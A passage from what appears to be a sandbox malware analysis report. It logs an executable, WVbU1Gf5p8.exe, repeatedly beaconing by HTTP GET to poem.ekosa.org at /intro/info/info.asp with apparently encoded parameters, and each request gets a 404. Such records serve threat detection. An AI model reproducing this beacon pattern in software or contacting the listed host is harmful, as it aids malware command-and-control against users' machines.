72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.4	49990	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:59.167829990 CET	5248	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:59.438096046 CET	5248	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:59 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.4	49991	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:59.705952883 CET	5249	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:59.966298103 CET	5250	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:59 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.4	49992	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:00.242861032 CET	5250	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:00.514053106 CET	5251	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:00 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.4	49993	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:00.899096012 CET	5251	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:01.161788940 CET	5252	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:00 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.4	49994	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:01.435544014 CET	5253	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:01.703845978 CET	5253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:01 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.4	49995	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:01.973064899 CET	5254	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:02.232410908 CET	5255	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:01 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.4	49996	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:02.624804020 CET	5255	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:02.896562099 CET	5256	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:02 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.4	49997	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:03.172489882 CET	5256	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:03.441670895 CET	5257	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:02 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.4	49998	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:03.708731890 CET	5258	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:03.969791889 CET	5258	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:03 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.4	49999	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:57:04.347138882 CET	5259	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:57:04.606370926 CET	5260	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:57:03 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49786	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:09.309863091 CET	392	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:09.571054935 CET	392	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:09 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 